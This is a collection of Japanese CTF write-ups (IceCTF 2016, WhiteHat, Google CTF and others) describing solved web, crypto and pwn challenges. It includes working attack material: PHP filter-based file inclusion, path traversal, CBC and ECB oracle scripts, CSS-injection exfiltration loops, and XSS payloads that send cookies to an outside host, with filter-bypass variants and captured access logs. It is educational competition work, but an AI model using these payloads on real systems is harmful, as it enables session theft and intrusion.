$ convert +append `for ((i=0; i<=200; ++i)); do echo part-$i.gif; done` output.png

Global Pages

何かページの記事のようなものが表示されている。

http://globalpage.chal.ctf.westerns.tokyo/?page=tokyo

に接続すると、

Warning: include(tokyo/en-US.php): failed to open stream: No such file or directory in /var/www/globalpage/index.php on line 41

のようなエラーが出ている。tokyoの部分を変えると ja.php に関しても同様のエラーが出るようになる。ただし、 page= の部分に色々流し込んだ時、 %00 を流し込むとそこでファイル名が切れるが、ピリオドとスラッシュだけは入らず消される。

とりあえずこの tokyo/ja.php などは http://globalpage.chal.ctf.westerns.tokyo/tokyo/ に相当するディレクトリにあると思われるのでここに繋ぐと、各言語用の PHP ファイルがおいてある。

ふと Accept-Language を変えるとほかの言語が表示されたりそちらもファイル名に流し込まれたりすることに気付く。ピリオドやスラッシュも流し込めたが僕はここで PHP の include の仕様を調べるも失敗。

ここまでチャットに書くと、 yuta1024 が、CTF for Beginners 2015 のえるざっぷ氏の writeupの Web500 の手法が動くことに気付き、 index.php、次いでそこから include されていた flag.php の中身を BASE64 で吸い出してフラグを見つけていた。

PHP には include で指定した URL からデータを読みだしてそのまま PHP コードとして解釈して実行する豪快な機能があるが、さすがにデフォルトで無効化されている。allow_url_includeを1にすると有効だが今回は無効だった。その場合でも、 「php://filter/convert.base64-encode/resource=index.php」は URL とみなされないらしく、 filter 経由でデータを解釈できるらしい。

Poems

ポエム投稿サイト。ポエムを投稿するとランダムなIDが与えられ、それをファイル名として保存するようになっている。最初のポエムを読みだせという問題。

ソースコードが配布されている。また、 Ubuntu 16.04 + Apache であることが示されている。

ソースコードを見ると、 Slim フレームワークを使っており、 ../poem/list.txt に ID 一覧が保存されていること、 /admin に行けばその一覧の中身を表示してくれることがわかる。ところが、ソースコード側で認証がかかっていないにもかかわらず、 /admin に行くと Basic 認証を求められる。

とりあえずディレクトリトラバーサルで任意のファイルを読み出せるので、 http://poems.chal.ctf.westerns.tokyo/poems?p=../../../../../../../../etc/apache2/sites-enabled/000-default.conf に接続すると、 Apache の設定で

<Location /admin>

で Basic 認証がかかっていることがわかる。パスワードファイルは見ることができたが暗号化されていて、 1000回 md5 した形式らしかったのと数分 John The Ripper を走らせても無理だった、とか言っていたら、パスワードクラックは不要というヒントが出された。

そこでふと、普通の PHP フレームワークなら特に設定しなければ public をそのまま DocumentRoot にしても動作するように /index.php/本来のpath みたいなのを URI に投げ込んでも繋いでくれることを思い出し、 http://poems.chal.ctf.westerns.tokyo/index.php/admin に接続すると認証なく ID 一覧を見ることができた。先頭の ID をポエムの URL に繋ぐとフラグが出てきた。

IceCTF 2016 Writeup

IceCTFに参加していたので、 writeup を書きます。

今回は人数制限の都合上、チームではなく、個人参加していました。なぜかコンテスト終了後は問題文もランキングも自分の順位も見ることができませんが、1396点でした。

問題数が多く、内容としても比較的主な要素を問題を通して学ぶことを教育的な問題が多めだと感じました。Crypt が比較的初心者に優しくてありがたかったです。

以下、提出順に書いていきます。

Hello, World!

サンプル問題。フラグが問題文に書いてあるので提出。

Spotlight

開くと、マウスがある領域の周辺だけ見ることができるウェブ画面が表示された。とりあえず HTML のソースを見るとフラグが埋め込まれていたので提出。Consoleにwriteしていたのでデバッグコンソールを開くなどが想定解法だったのかもしれない。

All your Base are belong to us

二進数みたいな形式で何かが与えられているのでパースするとフラグがでてきた。

#include <iostream>
using namespace std;

int main(){
	char tmp=0;
	int count=0;

	while(!cin.eof()){
		char t;
		cin>>t;

		if (t=='0' || t=='1'){
			count++;
			tmp=(tmp<<1)+(t-'0');

			if(count%8==0){
				cout<<tmp;
				tmp=0;
			}
		}
	}
}

Rotated!

5文字ずらして、そのあと8文字ずらしたみたいなことが書いてあって、要するにROT13なのでウェブでワンライナーを見つけて処理して提出。

Move Along

Web問題なのですが忘れました…… 事後に問題文すら見られないのはつらいです

Substituted

換字暗号っぽいものが渡されて、とりあえず「IceCTF{」の部分が確定できるのであとは元の単語が推測できる部分から確定していった。

Time Traveler

ウェブページにつなぐと、「ここにかつてフラグがあった」みたいなことが書いてあったので、Internet Archiveで当該URLを検索してフラグを発見。

Flag Storage

なんだっけ……?解いた問題一覧を見るとWeb問なので SQLi でログインしたらフラグが見えた問題だった気がする。

Demo

主催者が用意した Linux 機で、フラッグを表示するためには特定の条件を満たさないといけないバイナリがおいてある(実行ファイルの sticky bit とかでフラグファイルそのものへのアクセスを与えず実行だけできるように工夫してある)。この問題ではそのバイナリのソースもおいてある。

この問題では argv[0] が特定の要件をみたさないといけないので、ホームディレクトリに要件を満たすようにシンボリックリンクを張って実行するとフラグが出た。

Complacent

忘れた

Search

ドメインだけ渡されるが、ウェブサーバに繋がらないと書いてある。conTEXT がどうとか書いてあるので、 DNS の TXT レコードを調べるとフラグが書いてあった。

Hidden in Plain Sight

忘れた

Exposed!

忘れた

RSA?

RSA を使ったが、何か間違っている。と書いてあるので見ると、 e=1 となっている。

RSA での暗号化は

  c=m^e \mod n

なので、e=1 では暗号化がされず平文のままになる。なので、暗号文をそのまま8ビットずつ区切って文字として出力すればフラグ。

Thor’s a hacker now

忘れた

Miners!

忘れた

Scavenger Hunt

忘れた

Smashing Profit!

忘れた

Kitty

admin のパスワードのハッシュだけが渡された。

パスワード入力フォームを見るとパスワードの形式がとても厳しく普通に入力すると通らない。アルファベット、数字、記号の順で5文字で、全探索可能だったので全探索した。

Dear diary

nc で接続し、そのサーバで実行されたバイナリが渡される pwn。

「日記を保存する機能」「最後に保存した日記を表示する機能」がついたバイナリが渡される。

見たところ最初に「flag」という関数を読んでおり、ファイルを open して特定のメモリのアドレス(少なくとも objdump で見る限りハードコード)に書き込んでいた。

バッファオーバーフローさせるのかと思いきや入力はすべて fgets だった。また、 strchr を呼び出して ‘n’ が含まれているとなぜか「rude!」と表示されて終了する仕様だった。

出力を見ると printf だったので、日記の内容を %d とかにするとその時のスタックの一部のデータが出力された。n がブロックされているので、%n が使えず、メモリに書き込むことはできない。

gdb で見たところ、しばらく先に日記の内容があったので、日記の先頭部分に flag のアドレスを書き、あとは %d でしばらく埋めつつ flag のアドレスが来る場所に %s を置くとフラグが表示された。

Toke

現代的なマリファナ工場なるサイトが渡され、ログインすると「FBIによって止められた」とだけ書いてある。

Cookie を見てみると jwt という名前がついた Cookie があり、検索すると検証機能付きの URL セーフなエスケープ方式で JWT というのがあった。

ということで見つけたオンラインのデバッガに中身を入れると、フラグが出てきた。

IRC I

IRC サーバ上でフラグを共有している人がいる、と問題文に書かれていた。主催者らしき人のプロファイルを表示すると「flag_share_(ランダムな英数)」という部屋が案内されていたので、その部屋に行くと部屋の説明にフラグがあった。

RSA

RSA に再挑戦したが、まだ何かおかしいようだ、と書いてある。見るとなんだかプロファイルが多い、というか秘密鍵が書いてある。ウェブで RSA の複合化手順を調べて、その通りに普通に秘密鍵を使ってエンコードするとフラグ。

#!/usr/bin/python

N=0x1564aade6f1b9f169dcc94c9787411984cd3878bcd6236c5ce00b4aad6ca7cb0ca8a0334d9fe0726f8b057c4412cfbff75967a91a370a1c1bd185212d46b581676cf750c05bbd349d3586e78b33477a9254f6155576573911d2356931b98fe4fec387da3e9680053e95a4709934289dc0bc5cdc2aa97ce62a6ca6ba25fca6ae38c0b9b55c16be0982b596ef929b7c71da3783c1f20557e4803de7d2a91b5a6e85df64249f48b4cf32aec01c12d3e88e014579982ecd046042af370045f09678c9029f8fc38ebaea564c29115e19c7030f245ebb2130cbf9dc1c340e2cf17a625376ca52ad8163cfb2e33b6ecaf55353bc1ff19f8f4dc7551dc5ba36235af9758b
e=0x10001
phi=0x1564aade6f1b9f169dcc94c9787411984cd3878bcd6236c5ce00b4aad6ca7cb0ca8a0334d9fe0726f8b057c4412cfbff75967a91a370a1c1bd185212d46b581676cf750c05bbd349d3586e78b33477a9254f6155576573911d2356931b98fe4fec387da3e9680053e95a4709934289dc0bc5cdc2aa97ce62a6ca6ba25fca6ae366e86eed95d330ffad22705d24e20f9806ce501dda9768d860c8da465370fc70757227e729b9171b9402ead8275bf55d42000d51e16133fec3ba7393b1ced5024ab3e86b79b95ad061828861ebb71d35309559a179c6be8697f8a4f314c9e94c37cbbb46cef5879131958333897532fea4c4ecd24234d4260f54c4e37cb2db1a0
d=0x12314d6d6327261ee18a7c6ce8562c304c05069bc8c8e0b34e0023a3b48cf5849278d3493aa86004b02fa6336b098a3330180b9b9655cdf927896b22402a18fae186828efac14368e0a5af2c4d992cb956d52e7c9899d9b16a0a07318aa28c8202ebf74c50ccf49a6733327dde111393611f915f1e1b82933a2ba164aff93ef4ab2ab64aacc2b0447d437032858f089bcc0ddeebc45c45f8dc357209a423cd49055752bfae278c93134777d6e181be22d4619ef226abb6bfcc4adec696cac131f5bd10c574fa3f543dd7f78aee1d0665992f28cdbcf55a48b32beb7a1c0fa8a9fc38f0c5c271e21b83031653d96d25348f8237b28642ceb69f0b0374413308481
c=0x126c24e146ae36d203bef21fcd88fdeefff50375434f64052c5473ed2d5d2e7ac376707d76601840c6aa9af27df6845733b9e53982a8f8119c455c9c3d5df1488721194a8392b8a97ce6e783e4ca3b715918041465bb2132a1d22f5ae29dd2526093aa505fcb689d8df5780fa1748ea4d632caed82ca923758eb60c3947d2261c17f3a19d276c2054b6bf87dcd0c46acf79bff2947e1294a6131a7d8c786bed4a1c0b92a4dd457e54df577fb625ee394ea92b992a2c22e3603bf4568b53cceb451e5daca52c4e7bea7f20dd9075ccfd0af97f931c0703ba8d1a7e00bb010437bb4397ae802750875ae19297a7d8e1a0a367a2d6d9dd03a47d404b36d7defe8469

c_powers = [c]
cur_power = 1

while cur_power <= d:
	tmp = c_powers[len(c_powers) - 1]
	c_powers.append((tmp * tmp) % N)
	cur_power *= 2

cur_power = 1
cur_pos = 0
ans = 1

while cur_power <= d: if d & cur_power > 0:
		ans *= 	c_powers[cur_pos]
		ans %= N
	cur_pos += 1
	cur_power *= 2

# print ans

ans_array = []
while ans:
	ans_array.append(chr(ans % 256))
	ans /= 256

ans_array.reverse()

print ''.join(ans_array)

Alien Message

エイリアンが書いたようだ、という次の画像が渡された。

alien_message_b84f283848b7f34fd4c7529186e66e120b0a374c9d0f2a225b0a7a215716afb5

IceCTF{ で始まる部分を見ると二つの C が同じなので、換字暗号のようだし、問題ジャンルも Cryptography になっていたが、確定できる文字が少なくて手がかりがつかめず、そもそもアルファベットらしきものも数えてみると 27 文字もあった。

そこで、alien alphabet で画像検索するとそれらしき画像があった。Futurama Alien Alphabet というフォントのようなので、見ながら複合化。

l33tcrypt

データを暗号化してくれるサーバが動いており、鍵とフラグは外部から読み込んでいる。サーバの Python コードが公開されている。

コードを見ると、”l33t please” で始まる文字列を渡すと、文字列の末尾にフラグを追加したうえで AES で暗号化して base64 で返してくれる。CBC などは特に使っていないようで、同じ文字列は毎回同じように返ってきた。

AES のブロックサイズは 128 ビットなので、16文字ごとに、望むものと一致すればその部分の暗号は同じになる。

フラグの i 文字目までがわかっているとき、 “l33t please”に続けて、適当な文字を適宜詰め、そのあとフラグの i 文字目までを埋めて最後のブロックが一文字だけ余る状態にし、残りの1文字を一通り試すことができる。
この時、”l33t please”とパディングのみを渡した結果(この場合はパディングの直後に正しいフラグを入れて暗号化してくれる)と比較すれば、正解の時だけ合致するブロックが多くなる。

これを順に試せば、フラグが出てくる。

#!/usr/bin/python

import commands
import sys

def encrypt(s):
	return commands.getoutput('echo -n \'' + s + '\' | (base64 -w 0; echo) | nc l33tcrypt.vuln.icec.tf 6001 | grep OH7').strip()

def sharestr(s, t):
	ret = 0
	for i in range(0, min(len(s), len(t))):
		if s[i] == t[i]:
			ret = i + 1
		else:
			break
	return ret

header = 'l33tserver please'
flag_cand = ''
cand_chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_{}'

cur_cand = ''

while True:
	cur_cand_len = 0
	tmphead = header + '/' * (16 - (len(header) + len(flag_cand) + 1) % 16)
	cur_enc = encrypt(tmphead)

	for i_loop in range(0, len(cand_chars)):
		now_cand = flag_cand + cand_chars[i_loop]
		print 'Trying: ', tmphead + now_cand
		tmp_enc = encrypt(tmphead + now_cand)

		tmp_len = sharestr(cur_enc, tmp_enc)
		print tmp_len

		if tmp_len > cur_cand_len:
			cur_cand_len = tmp_len
			cur_cand = now_cand
	
	if len(cur_cand) == len(flag_cand):
		sys.exit(1)
	flag_cand = cur_cand

Over the hill

謎の行列みたいなのがおいてある。そのままではどうしようもないので、とりあえず matrix encryption とかで検索すると、 Hill Cipher が出てきて問題名とも合致。というわけで Hill Cipher の Wikipedia の記事を見ながら解く。

mod Nでの逆行列の計算に戸惑うが、ウェブ検索した結果見つけた動画(https://www.youtube.com/watch?v=LhBovzm4Ajs)では、普通の逆行列に近い処理をしていた。普通の逆行列は numpy なるツールで計算できそうなので、確認しながら最終的には以下のようなコードに。

#!/usr/bin/python

import numpy

alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789_{}"
N = len(alphabet)

matrix = [[54, 53, 28, 20, 54, 15, 12, 7],
          [32, 14, 24, 5, 63, 12, 50, 52],
          [63, 59, 40, 18, 55, 33, 17, 3],
          [63, 34, 5, 4, 56, 10, 53, 16],
          [35, 43, 45, 53, 12, 42, 35, 37],
          [20, 59, 42, 10, 46, 56, 12, 61],
          [26, 39, 27, 59, 44, 54, 23, 56],
          [32, 31, 56, 47, 31, 2, 29, 41]]

ciphertext = "7Nv7}dI9hD9qGmP}CR_5wJDdkj4CKxd45rko1cj51DpHPnNDb__EXDotSRCP8ZCQ"

# cf: http://arc360.info/algo/privatekey.html
def euclidean(x, y):
	x1 = 1
	y1 = 0
	z1 = x
	x2 = 0
	y2 = 1
	z2 = y

	while z2 != 1:
		q = (z1 - (z1 % z2)) / z2
		x1 = x1 - q * x2
		y1 = y1 - q * y2
		z1 = z1 - q * z2

		x1, y1, z1, x2, y2, z2 = x2, y2, z2, x1, y1, z1

	while x2 < 0:
		x2 += y
	
	return x2

alphabet_to_number = {}

for i in range(0, len(alphabet)):
	alphabet_to_number[alphabet[i]] = i

# https://www.youtube.com/watch?v=LhBovzm4Ajs
det = numpy.around(numpy.linalg.det(matrix)).astype(numpy.int64)
inv = numpy.around(det * numpy.linalg.inv(matrix)).astype(numpy.int64)

mul = euclidean(det, N)
inv = mul * inv

for i in range(0, len(inv)):
	for j in range(0, len(inv[i])):
		inv[i][j] = inv[i][j] % N

ans = ''

for j in range(0, 8):
	cipherarray = []
	for i in range(0, len(inv)):
		cipherarray.append(alphabet_to_number[ciphertext[j * len(inv) + i]])
	plain = numpy.dot(inv, cipherarray)

	for i in range(0, len(plain)):
		ans += alphabet[ plain[i] % N]

print ans

Flagstaff

鍵とフラグを隠したサーバが動いていて、 Python のコードがおかれている。

このサーバは、

  • decrypt に続けて暗号化データを渡すと、渡されたデータを復号化して返す
  • secret に続けて文字列を渡すと、その文字列を復号化して、それをコマンドとみなして次のことを実行する(なので暗号化して渡さないといけない)
    • コマンドに “encrypt” が含まれていれば、そのあと渡された平文の文字列を暗号化して渡す
    • コマンドに “flag” が含まれていれば、フラグを暗号化して渡す

また、暗号化方式は AES256-CBC で、サーバとの受け渡しの時はどのデータも base64 でやりとりする。

なお、暗号化の際は初期ベクタを毎回ランダムに生成している。

暗号化データの解除はしてもらえるので、「”flag”を暗号化したもの」が手に入ればよいことになる。ただ、暗号化機能を呼び出すにも「”encrypt”を暗号化したもの」が必要。

CBC なので、あるデータを暗号化した結果が分かった時、それを見て初期ベクタをいじることで、先頭のブロックの結果を好きなようにいじることができる。

なので、最初に \0 を32バイト並べたものを復号化し、初期ベクタを「先ほど得られた先頭ブロック ^ 望む状態先頭ブロック」に書き換えると、先頭16バイトは好きなようになる。今回は先頭4バイトが「flag」になればよいので、初期ベクタの4バイトを修正した。

試しに修正したあとのものを decrypt してもらうと望む通り flag で始まったので、 secret に送ると無事暗号化されたフラグが手に入った。これを復号化してもらって提出。

writeup 用に保存しておいたログから必要な部分を抜き出したものが以下。

$ dd if=/dev/zero bs=32 count=1 | base64
1+0 records in
1+0 records out
32 bytes copied, 0.000194334 s, 165 kB/s
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=

$ nc flagstaff.vuln.icec.tf 6003 
Welcome to the secure flag server.
Send me a command: decrypt
Send me some data to decrypt: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
6VlxPr4/oHDN5x6RmAek+w==

$ echo -n 6VlxPr4/oHDN5x6RmAek+w== | base64 -d | od -t x1
0000000 e9 59 71 3e be 3f a0 70 cd e7 1e 91 98 07 a4 fb
0000020

$ python
Python 2.7.12 (default, Jul  1 2016, 15:12:24) 
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> hex(0xe959713e ^ 0x666c6167)
'0x8f351059'
>>> quit()

$ (perl -e 'print "\x8f\x35\x10\x59";'; dd if=/dev/zero bs=28 count=1) | base64
1+0 records in
1+0 records out
28 bytes copied, 0.000133464 s, 210 kB/s
jzUQWQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=

$ nc flagstaff.vuln.icec.tf 6003 
Welcome to the secure flag server.
Send me a command: decrypt
Send me some data to decrypt: jzUQWQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
ZmxhZ74/oHDN5x6RmAek+w==

$ echo ZmxhZ74/oHDN5x6RmAek+w== | base64 -d
flag�?�p������

$ nc flagstaff.vuln.icec.tf 6003 
Welcome to the secure flag server.
Send me a command: secret
Send me an encrypted command: jzUQWQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
6g0QvuIcEb1TfCq9vlApP6tKr+agmfm44nOWreOHXhM3F7QQrlwwmC4u9ZII4LzaY8VyCSy7Wci2txjkHiUREjks38JcKkm84AmETtJ4utI=

$ nc flagstaff.vuln.icec.tf 6003 
Welcome to the secure flag server.
Send me a command: decrypt
Send me some data to decrypt: 6g0QvuIcEb1TfCq9vlApP6tKr+agmfm44nOWreOHXhM3F7QQrlwwmC4u9ZII4LzaY8VyCSy7Wci2txjkHiUREjks38JcKkm84AmETtJ4utI=
SWNlQ1RGe3JldmVyc2VfYWxsX3RoZV9ibG9ja3NfYW5kX2dldF90b190aGVfbWVhbmluZ19iZWhpbmR9

$ echo SWNlQ1RGe3JldmVyc2VfYWxsX3RoZV9ibG9ja3NfYW5kX2dldF90b190aGVfbWVhbmluZ19iZWhpbmR9 | base64 -d
IceCTF{reverse_all_the_blocks_and_get_to_the_meaning_behind}

RSA 2

RSA で、これまでと違ってとりあえず形式的には正しそうなパラメータが付与された。鍵も2048ビットあった。

実は素数のどちらかが小さくて素因数分解できるのでは、と思って奇数で割り続けるプログラムを走らせたところ、予想通りすぐに素因数分解が完了した。

というわけで、あとはその結果をもとに Wikipedia とかを見ながら暗号化解除。

#!/usr/bin/python

N=0xee290c7a603fc23300eb3f0e5868d056b7deb1af33b5112a6da1edc9612c5eeb4ab07d838a3b4397d8e6b6844065d98543a977ed40ccd8f57ac5bc2daee2dec301aac508f9befc27fae4a2665e82f13b1ddd17d3a0c85740bed8d53eeda665a5fc1bed35fbbcedd4279d04aa747ac1f996f724b14f0228366aeae34305152e1f430221f9594497686c9f49021d833144962c2a53dbb47bdbfd19785ad8da6e7b59be24d34ed201384d3b0f34267df4ba8b53f0f4481f9bd2e26c4a3e95cd1a47f806a1f16b86a9fc5e8a0756898f63f5c9144f51b401ba0dd5ad58fb0e97ebac9a41dc3fb4a378707f7210e64c131bca19bd54e39bbfa0d7a0e7c89d955b1c9f
e=0x10001
c=0x3dbf00a02f924a70f44bdd69e73c46241e9f036bfa49a0c92659d8eb0fe47e42068eaf156a9b3ee81651bc0576a91ffed48610c158dc8d2fb1719c7242704f0d965f8798304925a322c121904b91e5fc5eb3dc960b03eb8635be53b995217d4c317126e0ec6e9a9acfd5d915265634a22a612de962cfaa2e0443b78bdf841ff901423ef765e3d98b38bcce114fede1f13e223b9bd8155e913c8670d8b85b1f3bcb99353053cdb4aef1bf16fa74fd81e42325209c0953a694636c0ce0a19949f343dc229b2b7d80c3c43ebe80e89cbe3a3f7c867fd7cee06943886b0718a4a3584c9d9f9a66c9de29fda7cfee30ad3db061981855555eeac01940b1924eb4c301

# cf: http://arc360.info/algo/privatekey.html
def euclidean(x, y):
	x1 = 1
	y1 = 0
	z1 = x
	x2 = 0
	y2 = 1
	z2 = y

	while z2 != 1:
		q = (z1 - (z1 % z2)) / z2
		x1 = x1 - q * x2
		y1 = y1 - q * y2
		z1 = z1 - q * z2

		x1, y1, z1, x2, y2, z2 = x2, y2, z2, x1, y1, z1

	while x2 < 0:
		x2 += y
	
	return x2

def decrypt_rsa(N, e, d, cipher):
	c_powers = [cipher]
	cur_power = 1

	while cur_power <= d:
		tmp = c_powers[len(c_powers) - 1]
		c_powers.append((tmp * tmp) % N)
		cur_power *= 2

	cur_power = 1
	cur_pos = 0
	ans = 1

	while cur_power <= d: if d & cur_power > 0:
			ans *= 	c_powers[cur_pos]
			ans %= N
		cur_pos += 1
		cur_power *= 2

	return ans


#i = 3
i = 57970027

while True:
	if N%i==0:
		p=i
		q=N/p
		break

	i+=2

d = euclidean(e, (p-1)*(q-1))

ans = decrypt_rsa(N, e, d, c)

ans_array = []
while ans:
	ans_array.append(chr(ans % 256))
	ans /= 256

ans_array.reverse()

print ''.join(ans_array)

WhiteHat Wargame Contest 11 writeup

いつものチームで WhiteHat Wargame Contest 11 に参加していました。

難易度は高めだった気がするのと、不具合も目立ちましたが、僕が解いた Web 問はなかなかおもいろい問題でした。これについて write up を書いておきます。

Ultimate Design Tool

アクセスすると、HTMLのボタンをデザインする画面が現れました。Submit を押すとそのボタンが現れるとともにどこかに送られるようでしたが、ボタンのスタイルの修正のみが反映されてテキストの変更は反映されませんでした。

送られた情報を見ると、ボタンのスタイルは CSS の形式で送られているようでした。そのため、試しに

{ background-image: url(https://nhiroki.net/hoge.png); }

のようなCSSを送り付けると、サーバから指定した URL にアクセスが来ました。

そのため、 CSS から JavaScript を実行する方法について調べていました。アクセスが Firefox からだったことも踏まえて調べると、-moz-binding なるもので JavaScript コードを実行可能なようでした。しかし、ドキュメントはヒットしないものの Firefox 47 では動作しないようでした。

そのあと、 CSS injection なるヒントが公開され、方向性は間違っていないと判断しました。

さらにそのあと ReGeX なるヒントが公開されました。そのため、色々調べると、 CSS は要素の指定などに正規表現が使えるようでした。

ここで、ボタン作成時の画面の HTML に

                <!-- Admin only ... 
                <span value="secret"></span> 
                -->

という怪しげな記述があるのを思い出しました。CSS では HTML 要素の属性(<input type=”text”> なら type=”text” の部分)を条件に含めることができ、さらに完全一致のみならず先頭一致や含むかどうかという制限もできるようでした。

そのため、この要素を利用することで、特定の条件を持った属性(コメントを見る限りフラグがここに置かれている)が含まれるかを調べることができそうでした。

試しに画面に表示されているボタン(攻撃対象になかったとしても手元のブラウザでは表示される)で

{} div[id="button"]{ background-image: url(https://nhiroki.net/hoge.png); }

といった感じのことをしてみると無事アクセスが来たので、あとは一文字ずつ総当たりで調べることにしました。なお、^は***に置換されてしまったので、中間一致を利用して前と後ろにそれぞれ伸ばしていくことにしました。

最初は

for i in a b c d e f g h i j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 8 9
do
    flag=<ここに既にわかっている部分を入れる>$i
    curl -X POST --data-urlencode 'csscode={height: 1px; line-height: 1px;}span[value*="'$flag'"]{ background-image: url(https://nhiroki.net/******?fl='$flag');}' --data-urlencode 'submit=Share your button!' http://118.70.80.143:8104/push.php
done

といったスクリプトを地道に手で走らせてはアクセスログを見ていましたが、結構長そうだったので、

<?php

$initialflag=$_GET['flag'];

for($i = 0; $i < 10; $i++){
        $flag=$initialflag.$i;
        system('curl -X POST --data-urlencode \'csscode={height: 1px; line-height: 1px;}span[value*="\''.escapeshellarg($flag).'\'"]{ background-image: url(https://****.php?flag=\''.escapeshellarg($flag).'\');}\' --data-urlencode \'submit=Share your button!\' http://118.70.80.143:8104/push.php');
}

for ($i = 0; $i < 26; $i++){
        $j=chr(ord('a')+$i);
        $flag=$initialflag.$j;
        system('curl -X POST --data-urlencode \'csscode={height: 1px; line-height: 1px;}span[value*="\''.escapeshellarg($flag).'\'"]{ background-image: url(https://****.php?flag=\''.escapeshellarg($flag).'\');}\' --data-urlencode \'submit=Share your button!\' http://118.70.80.143:8104/push.php');
}

(background-image で指定しているのがこのスクリプト自体)

といった感じのコードをサーバ上に設置し、最初に一回たたけばあとは自動で伸びるところまで伸びるようにして、方向だけは途中で文字列を前にも伸ばすようにしてフラグを得ました。(なお、大文字は画面上でも勝手に小文字に変換されたので省きました。)

CSS から直接 JS を実行する穴は今は塞がれているようですが、それでも CSS に任意の文字列を注入すれば HTML の属性などの情報は取得できるということを実際に試すことができました。

Google Capture The Flag writeup

チーム「yharima」として Google Capture The Flag に参加していました。

まずは、難易度が高い問題が多いと感じました。48時間の競技でしたが、24時間経っても誰も解いていない問題もそれなりにありました。最後まで誰も解いていない問題もありました。

また、ほとんどの問題では、TLSが有効になっていたのも印象的でした。問題の大筋には関係のないところでTLSを使っているだけでも、地味に面倒さが増える要因になったりしました。こういったところまで耐えられるかといったことを想定しているようです。

結果は145位でした。

その中で自分がしたことについて write up を書きます。

No Big Deal

やたらとでかいpcapファイルが与えられたので、とりあえず strings コマンドにかけてみると何やらBASE64らしい文字列が。base64 -dしてみるとフラグが得られた。「CTF{some_leaks_are_good_leaks_}」

Spotted Quoll

接続してCookieの中身を見てみると、何やらbase64エンコードされた文字列が。デコードしてみると以下のようなものが入っている。

(dp1
S'python'
p2
S'pickles'
p3
sS'subtle'
p4
S'hint'
p5
sS'user'
p6
Ns.

pythonとpicklesが気になるので調べてみるとシリアライズの一つの方法だったので、 Python で読み込んでユーザーのところにadminと入れたものを作り、 Cookie に押し戻すと /admin につながるようになった。

Wallowing Wallabies – Part One

青画面に等幅のシステムっぽいフォントという、BIOSっぽい画面が表示されていた。

ほかの問題の問題文で、 /robots.txt を見ることを示唆するものがあったので、この問題でも /robots.txt を見てみると、

User-agent: *
Disallow: /deep-blue-sea/
Disallow: /deep-blue-sea/team/
# Yes, these are alphabet puns :)
Disallow: /deep-blue-sea/team/characters
Disallow: /deep-blue-sea/team/paragraphs
Disallow: /deep-blue-sea/team/lines
Disallow: /deep-blue-sea/team/runes
Disallow: /deep-blue-sea/team/vendors

色々と指定されている。片っ端から見ていくと、 /deep-blue-sea/team/vendors に何やら問い合わせフォームのようなものがある(vendorに対して権限を要求するメッセージフォーム)。

試してみるとエスケープされずに HTML に表示されるが、それ以上どうするの?となった。しばらくすると<script>が含まれているときに<script src=という入力を期待している旨が表示され、また問題文にも XSS で Cookie を盗む問題である旨が追記されたので、 <script src=”https://nhiroki.net/waiha.js”></script> ということをして、その js には

documet.location = "https://nhiroki.net/hoge/" + document.cookie

というようなことを書くと、 Cookie が送られてきた。(当初はhttpで試したが、もともとhttpsで繋いでいるためかhttpだと手元のブラウザからすらアクセスがこなかった)

146.148.94.130 - - [30/Apr/2016:14:07:56 +0900] "GET /waiha.js HTTP/1.1" 200 66 "https://ctf-wallowing-wallabies.appspot.com/under-the-sea/application/31337" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.97 Safari/537.36"
146.148.94.130 - - [30/Apr/2016:14:07:56 +0900] "GET /fuga/green-mountains=eyJub25jZSI6IjFiYmM5OGM2YjVjOGI1YTIiLCJhbGxvd2VkIjoiXi9kZWVwLWJsdWUtc2VhL3RlYW0vdmVuZG9ycy4qJCIsImV4cGlyeSI6MTQ2MTk5Mjg3OH0=%7C1461992875%7C37a31eb01981bca6f77cbc4cdcea14930f140db7 HTTP/1.1" 404 395 "https://ctf-wallowing-wallabies.appspot.com/under-the-sea/application/31337" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.97 Safari/537.36"
146.148.94.130 - - [30/Apr/2016:14:07:56 +0900] "GET /favicon.ico HTTP/1.1" 200 11270 "https://nhiroki.net/fuga/green-mountains=eyJub25jZSI6IjFiYmM5OGM2YjVjOGI1YTIiLCJhbGxvd2VkIjoiXi9kZWVwLWJsdWUtc2VhL3RlYW0vdmVuZG9ycy4qJCIsImV4cGlyeSI6MTQ2MTk5Mjg3OH0=%7C1461992875%7C37a31eb01981bca6f77cbc4cdcea14930f140db7" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.97 Safari/537.36"

送られてきた Cookie を再現して、もともといた vendor の URL に繋ぐとフラグ。

Wallowing Wallabies – Part Two

vendor の URL に繋いだとき、フラグのほかにメッセージ一覧があり、メッセージ一覧を開くとそれに返信するフォームが表示される。先ほどと同じ文字列を入力すると **ANTI**HACKER** に置換される。

src= や onload= も **ANTI**HACKER** に置換され、 <script src=”hoge”></script> は全体が **ANTI**HACKER** になった。

特に script は長い文字列が置換されるので、連結した文字列でなければいいのでは、ということで、

<script
src
=
"https://nhiroki.net/waiha"
>
</script
>

と入力すると通って、 Cookie がサーバに送られてきた(なお、.jsも**ANTI**HACKER**された)

ただ、どこのページにフラグがあるのかよくわからないので一旦チームのチャットに張ったところ、robots.txt のうち一つがつながってフラグが書いてあることをチームのメンバーが見つけてくれた。(自分でもそれは試したつもりだったのだけど、たいぽしていたらしい)

Wallowing Wallabies – Part Three

結構順当にスクリプトが通るが、 // が / になるのと、ピリオドが通らない。

チャットで逐一しゃべっていたら

> document.location ってdocument[“location”]でいけるよね

という風な指摘が来たので、

<script>document["location"]="https:///2634521196/hoge" + document["cookie"];</script>

